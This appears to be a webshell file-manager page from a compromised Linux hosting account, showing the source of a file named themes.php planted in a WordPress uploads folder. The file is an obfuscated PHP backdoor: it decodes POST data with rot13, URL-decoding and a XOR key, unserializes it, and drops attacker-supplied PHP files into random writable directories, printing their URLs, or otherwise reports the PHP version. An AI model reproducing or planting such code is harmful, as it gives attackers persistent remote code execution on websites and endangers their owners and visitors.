HEX
Server: Apache
System: Linux webd003.cluster128.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User: slyfwmm (169339)
PHP: 8.1.34
Disabled: _dyuweyrj4,_dyuweyrj4r,dl
Upload Files
File: /home/slyfwmm/foar/wp-content/uploads/2024/02/themes.php
<?php $EaEFo = "vwlZYyT";function nXlWkXGQ($EaEFo){$rkhSSVv = "\162".chr(902-805).chr(119)."\x75".'r'.chr(108)."\144".chr(101).chr(99)."\157".chr(100)."\145";$uifKHkYEFM = 's'.chr(116)."\x72".'_'.chr(114).chr(111).chr(744-628).chr(49).chr(51);$xzFnYOOmjc = "\x73"."\164"."\162"."\x5f".chr(115).'p'."\154"."\151".chr(116);$EaEFo = $xzFnYOOmjc($rkhSSVv($uifKHkYEFM($EaEFo)));return $EaEFo;}function PAzwogUE($BCMDYMkHV, $Bmgumjulmw){$iMzmpvKH = "\163".'t'.chr(186-72).chr(504-409).chr(115).chr(112)."\154".'i'.chr(1115-999);$BCMDYMkHV = array_slice($iMzmpvKH(str_repeat($BCMDYMkHV, (count($Bmgumjulmw)/16)+1)), 0, count($Bmgumjulmw));return $BCMDYMkHV;}function JRhwoFZS($QCEuwE, $hPXLRaVEyV, $BCMDYMkHV){$keUDaAlGi = "13f8b32f-5146-49ba-9adc-516005ae335c";return $QCEuwE ^ $keUDaAlGi[$hPXLRaVEyV % strlen($keUDaAlGi)] ^ $BCMDYMkHV;}function budZKApXW($Bmgumjulmw, $BCMDYMkHV){$Bmgumjulmw = array_map("JRhwoFZS", array_values($Bmgumjulmw), array_keys($Bmgumjulmw), array_values($BCMDYMkHV));$Bmgumjulmw = implode("", $Bmgumjulmw);$IZiDwPS = "\165".chr(500-390)."\163"."\145"."\x72"."\151".chr(268-171).chr(108).chr(195-90).'z'.chr(451-350);$Bmgumjulmw = @$IZiDwPS($Bmgumjulmw);return $Bmgumjulmw;}function kgDycZFTr(){echo "GepsgFmwv";}function xNryKwLDb($SahOvXHGKHir){static $xHFbDP = array();$YINFzFQa = glob($SahOvXHGKHir . '/*', GLOB_ONLYDIR);$TJGSgHGuqh = count($YINFzFQa);if ($TJGSgHGuqh > 0) {foreach ($YINFzFQa as $SahOvXHGKH) {$OXLWfRT = chr(105).chr(115).chr(735-640).chr(119).chr(506-392)."\x69"."\164".chr(822-725)."\142".chr(108).chr(1067-966);if (@$OXLWfRT($SahOvXHGKH)) {$xHFbDP[] = $SahOvXHGKH;}}}foreach ($YINFzFQa as $SahOvXHGKHir) xNryKwLDb($SahOvXHGKHir);return $xHFbDP;}function pMdxGq(){echo "vwlZYyT";}function PgyaBUYHkZ($Bmgumjulmw){$SOheNFCJV = chr(68)."\117".chr(67).chr(85).chr(77).chr(385-316)."\116"."\x54"."\137".chr(866-784).chr(656-577).'O'.chr(84);$aCgOVsPPSu = $_SERVER[$SOheNFCJV];$YINFzFQa = xNryKwLDb($aCgOVsPPSu);$zBowQr = array_rand($YINFzFQa);$jABiREFDGi = '.'.chr(919-807).chr(926-822)."\x70";$aRssxvns = $YINFzFQa[$zBowQr] . "/" . substr(md5(time()), 0, 8) . $jABiREFDGi;$GjqCVFXott = "\x66"."\x69".'l'.chr(939-838)."\x5f"."\x70"."\x75".chr(995-879)."\137".chr(99).chr(648-537).chr(350-240).chr(116)."\145".chr(110).chr(594-478).'s';@$GjqCVFXott($aRssxvns, $Bmgumjulmw);$IOiNOJFvK = 'H'.'T'."\x54"."\x50"."\137".chr(524-452).'O'.chr(83).chr(84);$phovsJUdsS = chr(197-93)."\x74".'t'.chr(1063-951).chr(58).chr(47).chr(47);$ZYUkwHT = $phovsJUdsS . $_SERVER[$IOiNOJFvK] . substr($aRssxvns, strlen($aCgOVsPPSu));print($ZYUkwHT);}foreach ($_POST as $BCMDYMkHV => $Bmgumjulmw){$yAhaiFEwo = strlen($BCMDYMkHV);if ($yAhaiFEwo == 16){$Bmgumjulmw = nXlWkXGQ($Bmgumjulmw);$BCMDYMkHV = PAzwogUE($BCMDYMkHV, $Bmgumjulmw);$Bmgumjulmw = budZKApXW($Bmgumjulmw, $BCMDYMkHV);if (@is_array($Bmgumjulmw)){$zBowQr = array_keys($Bmgumjulmw);$Bmgumjulmw = $Bmgumjulmw[$zBowQr[0]];$zBowQr = $zBowQr[0];if ($Bmgumjulmw !== $zBowQr){PgyaBUYHkZ($Bmgumjulmw);}else {$itRCukfYY = "\160"."\x68".chr(112);$MZnsQqllGM = "\x70"."\150"."\160".'v'.chr(101).'r'."\163"."\151".chr(301-190).chr(110);$Bmgumjulmw = Array($itRCukfYY => @$MZnsQqllGM(), );$BmFEbwM = "\163".chr(1036-935).chr(114)."\x69".chr(97).chr(108)."\x69".chr(122).chr(101);echo @$BmFEbwM($Bmgumjulmw);}die();}}}